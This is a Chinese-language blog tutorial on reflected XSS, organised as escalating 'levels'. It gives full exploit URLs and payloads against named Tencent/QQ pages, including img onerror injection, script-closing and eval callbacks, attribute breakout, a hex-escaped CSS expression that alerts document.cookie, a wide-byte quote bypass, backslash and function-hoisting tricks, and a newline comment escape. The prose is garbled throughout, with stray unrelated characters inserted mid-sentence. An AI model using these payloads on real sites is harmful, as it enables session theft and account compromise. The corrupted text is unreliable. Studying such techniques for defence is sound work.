XSSer 升級(jí)之路

之前積累了XSS 有一段時(shí)間九火,因?yàn)槟壳伴_始了一件有趣的工程冈闭,需要整合非常多的知識(shí)俱尼,其中Web 安全這一塊出現(xiàn)最多的,應(yīng)該就是XSS萎攒,SQL注入了遇八,再加上烏云泡著看別人的文章,看各家大網(wǎng)站的漏洞耍休,決定把這一塊知識(shí)聚攏一下押蚤,寫成一篇文章。想了想羹应,從簡單到難揽碘,那就是一條打怪升級(jí)之路,所以就從最簡單的反射型漏洞開始园匹,一點(diǎn)一點(diǎn)提高雳刺,直到把大部分XSS 的形式找出來。

level 1 無過濾規(guī)則的XSS

最簡單的跨站裸违,也就是我們說的反射型跨站掖桦,也叫作非持久型,參數(shù)型跨站腳本供汛。這種類型的腳本出現(xiàn)的面非常的廣枪汪,互聯(lián)網(wǎng)上這樣的漏洞非常多涌穆,一般出沒在各路小站點(diǎn),大站點(diǎn)很少出現(xiàn)雀久。烏云的漏洞列表里宿稀,海量的XSS 漏洞都來自互聯(lián)網(wǎng)上訪問量不高的小站,被辛苦挖洞的XSSer 們發(fā)掘出來的赖捌。

站在新手村我們的祝沸,需要一個(gè)最簡單的野怪刷一下,這個(gè)野怪上下無任何裝備越庇,沒有一點(diǎn)防御罩锐。也就是說矿咕,這個(gè)XSS 漏洞對(duì)于用戶的輸入师坎,不做任何過濾行為。

一般來說许昨,XSS 存在的地方桑驱,一定是需要有輸入和輸出概念的竭恬,一般的過濾規(guī)則,也是出現(xiàn)在輸入階段或者是輸出階段碰纬,如果兩個(gè)都沒有過濾萍聊,那么很輕松的就造成了漏洞。通常來說悦析,這種洞非常好刷寿桨,比較自動(dòng)化的方式是,建立一個(gè)爬蟲系統(tǒng)强戴,預(yù)設(shè)一些URL亭螟,爬蟲爬取網(wǎng)頁,在網(wǎng)頁源碼中尋找用戶可以輸入的地方骑歹,然后在可以輸入的地方预烙,將構(gòu)造好的XSS 代碼以輸入形式,構(gòu)造成請(qǐng)求扁掸,然后觀察響應(yīng)最域,是否對(duì)我們的輸入做了過濾策略镀脂。如果是原本的返回薄翅,那么我們就說可能存在有xss漏洞氓奈。

同時(shí),有另一種更為簡單的漏洞鼎天,是直接在URL 中舀奶,如果有直接賦值參數(shù)的行為,也相當(dāng)于一個(gè)可輸入的位置训措,我們直接在URL 中將XSS 代碼構(gòu)造在URL 中伪节,觀察返回是否做了過濾處理光羞,如果沒有绩鸣,那么就是一個(gè)最簡單的野怪誕生。

在烏云中纱兑,有不少這樣的漏洞呀闻,小站很多,大站很少潜慎,因?yàn)榇笳疽话愣加型陚涞倪^濾規(guī)則捡多,很難在這些小問題上有任何閃失铐炫,再加上如今瀏覽器基本上都有安全策略對(duì)此類型進(jìn)行防御科贬,所以這種威力相對(duì)較小。

之前在HTTP 的文章里憎账,有詳細(xì)講過 URL的格式,其基本格式如此:

每個(gè)結(jié)構(gòu)對(duì)應(yīng)的含義如下:


通常的注入發(fā)生在query 這一塊,而一般一個(gè)安全的行為于颖,就是對(duì)query 中的字符進(jìn)行過濾做入,以防止xss。以百度的URL 為例,一個(gè)通常的URL 查詢之后的造型是下面這樣的:

http://www.baidu.com/s?wd=%E6%A0%87%E7%82%B9%E7%AC%A6&rsv_spt=1&issp=1&rsv_bp=0&ie=utf-8&tn=baiduhome_pg&inputT=2969

問號(hào)之后有一大堆參數(shù)耸携,&用來分割參數(shù),他們對(duì)應(yīng)的是什么意思不是本文關(guān)注的重點(diǎn)沟沙,可以參見這一篇文章百度搜索URL 參數(shù)解析

其中wd 就是我們所說的搜索關(guān)鍵詞颊咬,也就是我們的輸入,如果我們將此字符改成

<script>alert(/xss/)</script>

在輸出時(shí)我們看到杭隙,URL 變成了如下,可疑的部分被轉(zhuǎn)義了。

https://www.baidu.com/s?wd=%22%3Cscript%3Ealert(%27xss%27)%3C%2Fscript%3E&rsv_spt=1&rsv_iqid=0xb3f5d3380002c15f&issp=1&f=3&rsv_bp=1&rsv_idx=2&ie=utf-8&tn=baiduhome_pg&rsv_enter=1&oq=%26lt%3Bscript%26gt%3Balert(%26%2339%3Bxss%26%2339%3B)%26lt%3B%2Fscript%26gt%3B&rsv_t=455e8xS9GVGwfM%2BTxjkNH6uUohEOPZHQFWlqocmOh9s1caJr5IHzVrPJJKJ1OwdTglc3&inputT=5478&rsv_sug3=27&rsv_sug1=21&rsv_sug7=100&rsv_pq=cce2beda0002a800&rsv_sug2=0&rsv_sug4=6278

在這里舉一個(gè)大站騰訊的簡單的xss蜗细,是烏云上某馬甲提交的,作為一個(gè)最簡單的XSS 挖給大家學(xué)習(xí)缎岗。網(wǎng)站的網(wǎng)址是這樣的:
http://app.data.qq.com/?umod=commentsoutlet&act=count&siteid=3&libid=9&dataid=1480&score=1&func=haoping&_=1353475261886

如果我們?cè)谶@個(gè)URL 里嘗試修改參數(shù),將score 參數(shù)改成

<img src=1>

而輸出的源碼并沒有發(fā)生變化:


在網(wǎng)易中看到的結(jié)果就變成了這樣:


這很顯然,就是一個(gè)xss漏洞了薪鹦,將經(jīng)典的xss 代碼插入進(jìn)去即可:

score=<img src=1 onerror=alert(1);>

效果如下:


這就是一個(gè)最無防御的XSS 存在奔害,很明顯的芯杀,它簡單,暴力筛圆,當(dāng)然也是極容易防御的,所以在一個(gè)較高級(jí)的攻防對(duì)抗提岔,或者是大站漏洞中,基本上不會(huì)出現(xiàn)這樣的漏洞(然而騰訊還是有這樣的問題~~)赛惩。

level 2 包裝進(jìn)script

上一等級(jí)里麸祷,我們的xss 構(gòu)造格式是在img 中,然后直接通過URL 參數(shù)提交,通常反射型的XSS 比較廣泛,但是傷害一般來說沒有太高磕瓷,而且比較容易防范。除了img 元素硕盹,還有諸如input, iframe,a href, 主要利用的是href 或者 src 可以使用javascript, 或者是使用onerror垛贤,表示當(dāng)前圖片無法顯示時(shí)候可以調(diào)用的腳本。更多的內(nèi)容部凑,接下來詳析。

接下來比勉,我們針對(duì)的還是反射型的XSS,仍然是在參數(shù)中墓捻,作為目標(biāo)文件中的參數(shù),通過URL 傳遞給它梧兼,但是沒有對(duì)該參數(shù)進(jìn)行詳細(xì)的過濾,造成了有機(jī)可趁考赛,繼續(xù)放出騰訊家以前的一個(gè)例子,也是烏云上的欣喧,網(wǎng)址如下:

http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa

此處的callback 參數(shù)益涧,如果沒有過濾的話,得到的網(wǎng)頁源碼里扭弧,我們就會(huì)看出來,如下:


拿出這一塊的上下文代碼衣赶,大約構(gòu)造是這樣的:

<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaaaaa(_ret);}catch(err){aaaaaa(_ret);}</script>

aaaaaa如果我們替換成

<script>alert(/xss/)</script>

當(dāng)然,我們注意到摘能,上邊的script 還沒有閉合,為了讓代碼提前跳出前一個(gè)script 逻恐,我們應(yīng)該在前邊吧sciprt 閉合,這樣:

</script><script>alert(/xss/)</script>

這樣挽拂,很明顯,就會(huì)繼續(xù)發(fā)起了XSS 彈窗。但是闷游,如果我們不允許輸入破折號(hào)呢,上邊所說的就沒有辦法了业簿,但是蔚携,這并不代表毫無辦法酝蜒,還有一些具有威脅的函數(shù),比如eval, String.fromCharCode, execute,這些都會(huì)造成XSS途戒,也要過濾。如下星爪,我們使用eval() 來構(gòu)造攻擊:

http://activity.soso.com/common/setParentsInfo.php?callback=eval('alert(1)');void

callback=eval('alert(1)');void 仍然令我們的源代碼語法正確,能夠正確執(zhí)行。


但是像這樣構(gòu)造出來的情況憎瘸,其實(shí)非常的少見潮售,因?yàn)檎鞯谝粋€(gè)參數(shù)進(jìn)去鞍泉,開發(fā)者都會(huì)將 " 過濾掉边器,這樣構(gòu)造就失敗了。

我們知道,XSSer 和 防御者之間的斗爭從來就是道高一尺际长,魔高一丈的過程,防御者絞盡腦汁去過濾所有可能出現(xiàn)的情況如绸,去處理所有可能的奇葩詭異編碼情況,而XSSer 又會(huì)絞盡腦汁的去挖掘茫茫網(wǎng)絡(luò)中漏洞,努力用各種奇技淫巧構(gòu)造出五花八門的形態(tài)谎势,看起來詭異無比,然而偏偏又能讓javascript 語法正確须喂,正常運(yùn)行。

然而xss 卻又一直是熱門,但并不是很受重視的攻擊手法卒废,原因大概是這樣的:

  1. 挖洞太麻煩逆皮,很耗時(shí)間,看上邊兩個(gè)漏洞,其中一個(gè)甚至是在某個(gè)獲取QQ 應(yīng)用寶上某個(gè)app 數(shù)據(jù)的URL 里發(fā)現(xiàn)的牢贸,而這種頁面甚至很難被發(fā)現(xiàn),所以他的傷害比較低竹习,找到它卻又要花費(fèi)大量時(shí)間,而且還有很多構(gòu)造方法不能成功,需要嘗試各種模式震放。
  2. 這種傷害不是很大的反射型攻擊,尚且還有機(jī)會(huì)通過爬蟲自動(dòng)化的挖掘到漏洞存在的可能,有很多復(fù)雜的存儲(chǔ)型和DOM 型漏洞,更難通過爬蟲挖到妇萄。
  3. 需要有良好的HTML,JS 功底唇牧,但是呢丐重,如果功底好的話,直接就跑去做前端了,前端業(yè)務(wù)現(xiàn)在那么缺高級(jí)工程師豫领。更多的,還需要有PHP,JSP 功底购笆。
  4. 而Website 設(shè)置http-only,crossdomain.xml 時(shí)候,很多模式化的xss就失去力量了。
  5. 然而為什么熱門呢襟锐,因?yàn)镠TTP 世界的混亂蚊荣,之前在寫Web之困讀書筆記的時(shí)候筝闹,作者也是強(qiáng)力吐槽了這個(gè)混亂的HTTP 世界糊秆,所以造成了XSS 幾乎無處不在聋伦,而如果一個(gè)利用好的XSS兵拢,或者CSRF漏洞嘹履,會(huì)在某些情況下幼苛,造成難以彌補(bǔ)的傷害。
  6. 本質(zhì)上將,SQL注入和XSS 都是由于代碼上相似的漏洞造成的畸冲,而SQL 注入的危害要比XSS 看起來危險(xiǎn)很多,很多人在挖SQL 注入漏洞的時(shí)候,順手就挖幾個(gè)XSS,也是很正常的褐筛。
  7. XSS 雖然看起來比較溫柔,但是配上社工手段,可造成的影響仍然是不可小覷的倘核,所以XSS 會(huì)火下去。

level 3 HTML 中的野怪

當(dāng)然XSS 的漏洞不僅僅只出現(xiàn)在script 代碼塊中漏益,還可以包含在豐富的HTML 的標(biāo)簽屬性中。比如img,input 等一系列標(biāo)簽,基本格式是 < HTML標(biāo)簽 onXXXX="在這里" > 或者是放在偽URL 里榨了,比如< a href = "javascript:在這里"> xxxx </a>。

一般這樣地方的參數(shù)作岖,很少是直接通過輸入就直接放進(jìn)去的,不過有時(shí)候常常是接受了用戶的輸入沉删,最后輸出的時(shí)候,會(huì)出現(xiàn)在這些位置,但如果對(duì)用戶的輸入沒有做詳盡的處理和過濾的話采幌,就會(huì)出現(xiàn)明顯的XSS 漏洞。來個(gè)栗子:

比如某網(wǎng)站是這樣的:

http://example.com/search.php?word=helloworld

對(duì)應(yīng)在HTML 代碼中,他出現(xiàn)在了這樣的區(qū)域里:

<input type="text" value="helloworld" />

開發(fā)者沒有對(duì)helloworld進(jìn)行過濾的話,我們直接構(gòu)造

word=helloworld" onclick="alert(/xss/)

然后在對(duì)引號(hào)括號(hào)等慰毅,使用URL 編碼,直接變成如下結(jié)構(gòu):

helloworld%22+onclick%3d%22alert(%2fxss%2f)

也就完成了xss過程,不過這種漏洞現(xiàn)在已經(jīng)非常稀少宰掉,因?yàn)樗菀走^濾了孟害,只需要將雙引號(hào)過濾即可,一般做法就是將雙引號(hào)過濾成HTML 實(shí)體編碼,也就是&#quot; 對(duì)于HTML 解析器,它能夠識(shí)別在文本節(jié)點(diǎn)和參數(shù)值里邊的實(shí)體編碼,并且在內(nèi)存中創(chuàng)建文檔樹的表現(xiàn)形式時(shí)鸵钝,透明的對(duì)這些編碼進(jìn)行解碼必逆。所以粟矿,在創(chuàng)建DOM 樹結(jié)構(gòu)的時(shí)候福压,&quot(有個(gè)分號(hào),但是markdown會(huì)直接轉(zhuǎn)了); 還沒有被解碼成引號(hào),而且創(chuàng)建文檔樹的內(nèi)容的時(shí)决乎,才會(huì)考慮解碼蚌斩,而這時(shí)丑蛤,其XSS 功效已經(jīng)不能發(fā)揮作用了。

于是棉饶,對(duì)于有過濾規(guī)則的情況下袜啃,該標(biāo)簽將變成:

<input type="text" value="helloworld" onclick="alert(1)" />

但是冀值,僅僅是這樣的過濾也物,顯然是不夠用的,還有其他的注入點(diǎn)可以進(jìn)列疗,繼續(xù)在烏云上來看騰訊的例子滑蚯,考慮這樣一個(gè)網(wǎng)址:
http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&bg=FFFFFF&hsize=80&name=Zhanglifenft,chengyizhong,xiangyang20112007,linchufang,leonardoit,linchufang,qingfengxu6685,zhouzhichen001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,jxzhongweizhi,lihaipengtx

我們查看輸出的HTML 源碼告材,發(fā)現(xiàn)bg 那里對(duì)應(yīng)的是background-color,我們嘗試那里用不同的字符嘗試,觀察其過濾情況弯菊。在這里,我讓bg = "<>() 就是希望觀察一下它的過濾情況腺办,基本上所有的字符都被過濾了聊闯,但是只有\(zhòng) 沒有被過濾


如何只用 \ 構(gòu)造利用語句呢蚪腐,我們可以想到CSS 中的字符編碼,CSS 提供了一套轉(zhuǎn)義處理策略,一個(gè)反斜杠后邊跟1~6位十六進(jìn)制數(shù)字芥永。然后利用CSS 的expression 來調(diào)用JavaScript 代碼醇坝。也就是試圖構(gòu)造出

expression(eval(alert(/xss/))

這樣的代碼谚赎,完整來說蕾殴,就是這樣的:

<body style="... background-color:;width:expression(eval(alert(/xss/)))">

用分號(hào)來結(jié)束backgroud-color,然后 w: 后邊跟上expression,如果expression 要被過濾,那就加上轉(zhuǎn)義荧缘,把expression 隨意變下形就可以珊蟀,于是恩够,在下邊這樣的代碼構(gòu)造下,漏洞又被利用了永毅。

http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&bg=;w:expr\65ssion\28%20eval\28\27\69\66\28\21\77\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\64\6f\63\75\6d\65\6e\74\2e\63\6f\6f\6b\69\65\29\3b\77\69\6e\64\6f\77\2e\78\3d\31\7d\27\29\29&hsize=80&name=Zhanglifenft,chengyizhong,xiangyang20112007,linchufang,leonardoit,linchufang,qingfengxu6685,zhouzhichen001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,jxzhongweizhi,lihaipengtx

不過很遺憾的,expression 當(dāng)年是微軟搞出來的技術(shù),但是一直沒被其他瀏覽器接受,同時(shí)引谜,甚至微軟自己如今也拋棄了這種特性峡迷,它出現(xiàn)在IE6啄栓,IE7,和IE8的一些早期版本谆扎,因?yàn)槲④浌俜揭舱J(rèn)為該屬性不具有通用性酣倾,而且它處理的事務(wù)抬伺,如今已經(jīng)能夠在CSS 中正常的完成,如min-width,max-width, 這些都已經(jīng)在IE8之后得到很好的支持银锻,所以expression 也只能在這兩個(gè)古老版本上起效姊途。

那么,繼續(xù)考慮一些別的情況梭域,考慮下面這個(gè)網(wǎng)站:
http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa

其輸出的HTML 代碼中雀鹃,我們可以找到它:


對(duì)于放在javascript: 中的偽URL澡罚,其效果和放在script 代碼塊中沒有區(qū)別当船。在這里 aaaaaa我們可以考慮對(duì)其做點(diǎn)什么惦界,很自然的烫沙,我們想到用單引號(hào)閉合,然后后邊加上alert(/xss/) 這樣的構(gòu)造浩考,看起來比較繞票渠,其構(gòu)造步驟是這樣的:

location.href='...&searchvalue=aaaaaa'
location.href='...&searchvalue=aaaa'+alert(1)+''
location.href='...&searchvalue=aaaa'+alert(1)+''

如果單引號(hào),被過濾毁靶,就要改成HTML 編碼梆靖,這樣鳞上,就能在源代碼中javascript 偽URL那里添加了alert(1) 這樣的XSS这吻。這步驟改造完畢之后,我們將可能被過濾的&-> %26,#->%23 轉(zhuǎn)換成URL 編碼篙议,構(gòu)造成這樣的URL:
http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaa%26%23x27;%2balert(1)%2b%26%23x27;

至此唾糯,又完成了一次XSS 注入,但到此處鬼贱,是否有一個(gè)疑問呢移怯,還是關(guān)于編碼解析的問題。在上一個(gè)栗子中这难,我們說舟误,將雙引號(hào),改成&quot ; 這樣的形式姻乓,就不會(huì)出現(xiàn)異常的解析了脐帝,但是這里同云,我們主動(dòng)的將單引號(hào)改成了&#27 ; 這樣的形式,反而成功的完成了XSS 呢堵腹。

其實(shí)炸站,這是一個(gè)解析順序的原因,正常的解析順序是這樣的疚顷,先對(duì)URL解碼旱易,那些用URL 編碼的字符都變成解碼后的參數(shù)傳出去,然后是HTML 解析腿堤,HTML 解析阀坏,此時(shí) ,是先構(gòu)建DOM文檔結(jié)構(gòu)笆檀,然后才會(huì)對(duì)每一個(gè)文本節(jié)點(diǎn)忌堂,屬性值內(nèi)容進(jìn)行解析,這時(shí)候酗洒,HTML 實(shí)體編碼的部分士修,才會(huì)還原回來,這個(gè)時(shí)候已經(jīng)不會(huì)對(duì)DOM 結(jié)構(gòu)造成影響了樱衷。然后是JS 解析棋嘲,此時(shí)才會(huì)執(zhí)行JS 代碼的內(nèi)容。而此時(shí)矩桂,HTML 已經(jīng)完成了解碼沸移。

對(duì)應(yīng)上邊的栗子,在JS 解析之前侄榴,HTML 已經(jīng)對(duì)那些編碼完成了解碼雹锣,對(duì)于JS 來說,一切都寫的清清楚楚的了癞蚕。

回到那個(gè)栗子笆制,我們利用的代碼,原樣是這樣的:

<li><input type="text" id="pagenum"  class="inputstyle0814"  onkeydown="if ((event.keyCode==13) && (this.value!='')) location./></li>

當(dāng)我們構(gòu)造完成利用代碼之后涣达,對(duì)于頁面上來說在辆,就是要點(diǎn)擊按鈕,也就是onkeydown度苔。 不僅要將URL 傳出去匆篓,還需要用戶點(diǎn)擊按鈕,這樣造成的威脅小很多寇窑,不如img 標(biāo)簽里的onerror 鸦概,onload那樣可以自動(dòng)觸發(fā)。

最后我們?cè)倏紤]一下如何防守吧,上上栗子的問題窗市,在于漏掉了斜杠的過濾先慷,那么\ 該過濾還是要過濾的。對(duì)于上邊這個(gè)栗子咨察,可以考慮二次過濾论熙,也就是將&都過濾為 &amp ;,這樣不僅過濾了無編碼的單引號(hào)等格式摄狱,又可以過濾掉利用實(shí)體編碼想要逃過的實(shí)體編碼格式脓诡。而如果只是用正則去片段&#xNN..等形式,實(shí)際上是不一定搞定所有的HTML 編碼形式的媒役。

level 4 離奇的寬字節(jié)

搞過SQL 注入的祝谚,應(yīng)該是比較了解寬字節(jié)注入的,由于某些SQL 注入的核心是提前出線單引號(hào)來閉合前邊的輸入酣衷,然后在后邊可以插入別的語句交惯,聯(lián)合查詢等等。所以比較一般的過濾方式是將單引號(hào)轉(zhuǎn)義穿仪,加一個(gè)斜杠席爽。但此時(shí)忽略了編碼的神奇。如果開發(fā)者在設(shè)置編碼支持的時(shí)候牡借,如果選擇了GBK,gb18030,utf-8 等方式袭异,實(shí)際上是支持十六位編碼的钠龙。

最常見的方式,也就是在url里御铃,在引號(hào)%27 或者是 %22 之前碴里,加入%df, 由于0xdf 對(duì)應(yīng)的大于128,所以上真,解析器會(huì)認(rèn)為他和后邊的組成了16位的編碼咬腋,就會(huì)吃掉后邊的字符,而后邊跟著的字符睡互,又恰恰是我們給引號(hào)添加的斜杠根竿,%5c,于是%df 就會(huì)吃掉%5c 合并成一個(gè)字涛菠,引號(hào)重新暴露憨奸。

這種方法在XSS 不常見含末,但是如果某些XSS 在寫過濾規(guī)則的時(shí)候募疮,如果處理不當(dāng)涣易,還是有可能出現(xiàn)寬字節(jié)注入的情況蚯嫌,考慮如下url:

http://open.mail.qq.com/cgi-bin/qm_help_mailme?sid=,2,zh_CN&t=%22;alert(1);//aaaaaa

此處雙引號(hào)被過濾了贬蛙,變成了&quot ;长搀,如下:


如果我們嘗試一下采用寬字節(jié)注入逼侦,考慮構(gòu)造成如圖所示:
zh_CN&t=%c0%22;alert(1);

令人驚奇的是匿辩,這次注入成功了腰耙,觀察代碼如圖:


當(dāng)然,此處所遇到的問題铲球,應(yīng)該并不是前邊提到的傳統(tǒng)的形式挺庞,%c0 吃掉%5c ,因?yàn)楹苊黠@,此處沒有使用斜杠轉(zhuǎn)義睬辐,而是轉(zhuǎn)成了&quot ; 只能把原因歸咎于正則表達(dá)式處理的問題挠阁。

我們看到,即使當(dāng)以注意到了問題所在的時(shí)候溯饵,仍然可能犯錯(cuò)誤侵俗,而且是以意想不到的方式犯錯(cuò),黑客滲透的方式丰刊,可能會(huì)以所有意想不到的形式進(jìn)行隘谣。

我們將防御性代碼比做成安全的城墻,那么正則過濾引擎啄巧,應(yīng)該是這座安全長城的第一站寻歧,而在《Web 之困》 一書中,作者也說過秩仆,要想試圖過濾掉所有的危險(xiǎn)的編碼码泛,這幾乎是不可能完成的任務(wù)。但作為開發(fā)者澄耍,比黑客再多想一些噪珊,這是應(yīng)該的。

在XSS 界齐莲,擁有各種各樣的形式去變形構(gòu)造痢站,在owasp 里,這篇XSS Filter Evasion Cheat Sheet 詳細(xì)介紹了各種變形选酗,以期能窮盡目前已知的各種變形手段阵难,下次,我會(huì)對(duì)其中的變性手段芒填,進(jìn)行總結(jié)呜叫。但是,你想要過濾這所有的變形手段殿衰,幾乎是不可能的怀偷,即使你過濾了他們,而引擎本身出現(xiàn)的錯(cuò)誤播玖,又會(huì)創(chuàng)造新的漏洞椎工,上述例子就是這樣的。

被忽略的反斜線

通常,過濾XSS 就是要考慮過濾各種特殊的控制字符维蒙,比如尖括號(hào)掰吕,引號(hào)等,而如果過濾一旦漏過了某些符號(hào)颅痊,那就有可能通過各種轉(zhuǎn)義殖熟,構(gòu)造出一個(gè)繞過的XSS,下面就是一個(gè)例子斑响。

看這樣一個(gè)網(wǎng)站:
http://mail.qq.com/cgi-bin/login?vt=passport&ss=aaa&from=bbb&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dindex%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1

雜亂無章菱属,我們對(duì)照網(wǎng)頁的源碼,逐個(gè)嘗試看能夠注入舰罚,首先是先定位這些變量對(duì)應(yīng)的位置纽门,主要關(guān)注的還是前三個(gè),vt=pass, ss=aaa, form=bbb, 構(gòu)造完成之后我們?cè)谠创a中尋找他們的位置如圖:


定位到位置之后营罢,我們把這一堆能使用的符號(hào)都拉進(jìn)去嘗試赏陵,包括引號(hào),破折號(hào)饲漾,反斜杠等蝙搔,這里如果能直接利用,最好是有雙引號(hào)考传,它可以直接閉合前邊的語法吃型,從而構(gòu)造新的語法,但是僚楞,很遺憾雙引號(hào)這種頭號(hào)仇恨還是第一時(shí)間被過濾了勤晚,但是漏過了反斜杠。


我們?cè)敿?xì)分析一下這一部分镜硕,考慮一下运翼,看怎么注入:

<script>getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin="+"&t="+"&alias="+"&regalias="+"&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%252Fcgi-bin%252Fsetting10%253Faction%253Dlist%2526t%253Dsetting10%2526ss%253Dindex%2526Mtype%253D1%2526clickpos%253D20%2526loc%253Ddelegate%252Cwebmap%252C%252C1"+"&title="+"&url=%2Fcgi-bin%2Flogin%3Fvt%3Dpassport%26ss%3Daaa%2522%26from%3Dbbb%5C%26delegate_url%3D%252Fcgi-bin%252Fframe_html%253Furl%253D%2525252Fcgi-bin%2525252Fsetting10%2525253Faction%2525253Dlist%25252526t%2525253Dsetting10%25252526ss%2525253Dindex%25252526Mtype%2525253D1%25252526clickpos%2525253D20%25252526loc%2525253Ddelegate%2525252Cwebmap%2525252C%2525252C1"+"&org_fun="+"&aliastype="+"&ss=aaa"+"&from=bbb"+"&param="+"&sp=6fa57ce5b3047ebMTM1NTQwOTA2Mg"+"&r=3ec785174fff5206ed6f0cf4a8c5e3c5"+"&ppp="+"&secpp="</script>

核心部分返干,就是下邊那小部分:

<script>getTop().location.href="......"+"&ss=aaa"+"&from=bbb"+"&param="+".....";</script>

如果我們使用了反斜杠兴枯,那么雙引號(hào)就被轉(zhuǎn)義了,語法就變化了:

<script>getTop().location.href="......"+ "&ss=aaa\"+" &from=bbb "+" &param= "+" .....";</script>

有一點(diǎn)點(diǎn)機(jī)會(huì)突破矩欠,但是后邊的語法就太奇怪了财剖,有語法錯(cuò)誤了。腫么辦癌淮,我們?cè)谠囋囌备芴煞兀l(fā)現(xiàn)也沒有被屏蔽,perfect乳蓄,我們用正斜杠來講后邊直接注釋掉咪橙,讓語法正常。

location.href="........."+"&ss=aaaa\"+"&from=1//"+"&param=";

但是還有一個(gè)問題,& 在這里美侦,被考慮成了一個(gè)與操作产舞,優(yōu)先級(jí)是高于 =號(hào)的,變成了("字符串"&from)=1 的語法菠剩,這仍然是錯(cuò)誤的易猫。但是,如果我們?cè)贉y試一下具壮,= 號(hào)會(huì)不會(huì)被屏蔽呢准颓,=號(hào)也可以用,那么我們改變一下語法棺妓,添加一個(gè)等號(hào)攘已,變成 ==:

location.href="........."+"&ss=aaaa\"+"&from==1//"+"&param=";

于是語法編程了("string")&(from==1)的樣式,from 變成了一個(gè)bool操作涧郊,但現(xiàn)在又面臨了新的問題贯被,如果你在URL 里本來該是一個(gè)定義的操作,卻變成了一個(gè)判斷的操作妆艘,from 就變成了未定義的狀態(tài)了彤灶,語法仍然會(huì)報(bào)錯(cuò),這我們就要進(jìn)一步理解JavaScript的語法了批旺,如果我們把from 當(dāng)做一個(gè)變量或者是方法幌陕,如果是方法,無論在何處定義汽煮,都會(huì)被拉到最簡便搏熄,所以我們?cè)趂rom 的部分再添加一個(gè)步驟:

location.href="........."+"&ss=aaaa\"+"&from==1;function from(){}//"+"&param=";

這樣,from 就不會(huì)被當(dāng)成是未定義的了暇赤,但問題又來了心例,我們現(xiàn)在添加了許多東西,而添加的這些東西鞋囊,包含了許多特殊字符止后,會(huì)不會(huì)通過呢,經(jīng)過實(shí)際測試溜腐,還真是悲劇了译株,空格符被轉(zhuǎn)義了:


空格符被轉(zhuǎn)義了怎么辦呢,我們找到新的替換品挺益,那就是/**/, 這是一個(gè)注釋符歉糜,之前我們也測試過了,斜杠不會(huì)被過濾望众,那么這個(gè)注釋符匪补,成功的頂替了空格伞辛,形成了正常的語法。

location.href="........."+"&ss=aaaa\"+"&from==1;function/**/from(){}//"+"&param=";

從語法上看夯缺,這樣就OK 了始锚,我們的攻擊代碼可以放function 的前邊,直接用alert(/xss/)喳逛;測試瞧捌,最終代碼:
http://mail.qq.com/cgi-bin/login?vt=passport&ss=&from==0;alert(1);function/**/from(){};//&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dindex%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1

結(jié)果毫無疑問彈了窗。

那么回到源頭去搜索整個(gè)注入的過程润文,我們發(fā)現(xiàn)姐呐,注入的過程,頗有幾分SQL 的風(fēng)采典蝌,都是利用各種語法上的技巧曙砂,在我們的SQL注入中,一些常見的技巧骏掀,比如基于重言式鸠澈,這和XSS 的試圖閉合語法相似,比如聯(lián)合查詢法截驮,試圖借助未轉(zhuǎn)義的字符笑陈,來完成注入。

這個(gè)漏洞的挖掘過程葵袭,就是從一個(gè)狹小的入口進(jìn)入涵妥,借助了字符過濾不完整的漏洞,挖開了深層的內(nèi)容坡锡。所以蓬网,在實(shí)際編程開發(fā)中,對(duì)特殊字符的控制鹉勒,是需要慎之又慎的帆锋,一旦有一個(gè)小小的漏洞,就會(huì)被隨時(shí)攻破禽额。

換行符的偷襲

上一次是反斜杠發(fā)揮的妙用锯厢,它默默地轉(zhuǎn)義了一個(gè)雙引號(hào),還有一些其他有意思的符號(hào)绵疲,比如換行符也能發(fā)揮妙用哲鸳,這次是來自換行符的一發(fā)偷襲臣疑。

看這樣一個(gè)地址:
http://datalib.games.qq.com/cgi-bin/search?libid=178&FilterAttrAND=3602&FilterValueAND=aaaaaaaaaa

逐個(gè)測試注入點(diǎn)盔憨,我們發(fā)現(xiàn)最后的FilterValueAND 的輸入點(diǎn)在源碼中找到了輸出點(diǎn):


它出現(xiàn)在JS 語句里,一上來就感覺有戲讯沈。接下來嘗試寫入特殊字符郁岩,測試過濾情況婿奔。正常的情況下,尖括號(hào)问慎,雙引號(hào):


但是令人奇怪的是萍摊,最后一個(gè)輸出點(diǎn)竟然是在一大段注釋里,這應(yīng)該是開發(fā)的一個(gè)失誤:


看到注釋想到了什么呢如叼?如果這里插進(jìn)來一個(gè)換行符冰木,那么應(yīng)該被注釋的部分就不是注釋了。那后邊再跟注入語句笼恰,就能夠執(zhí)行了踊沸。然后我們?cè)谟靡粋€(gè)雙斜杠來注釋后邊的無用部分。利用代碼如下:
http://datalib.games.qq.com/cgi-bin/search?libid=178&FilterAttrAND=3602&FilterValueAND=%0aalert(/xss/);//

直接就彈窗了社证。

這一次利用的太過簡單逼龟,看起來應(yīng)該是開發(fā)的一時(shí)疏忽,將一大段內(nèi)容注釋了追葡,而注釋里原本好包含了輸出腺律,那就有可能出問題了。

那么下面再看一個(gè)更綜合的例子宜肉,地址如下:
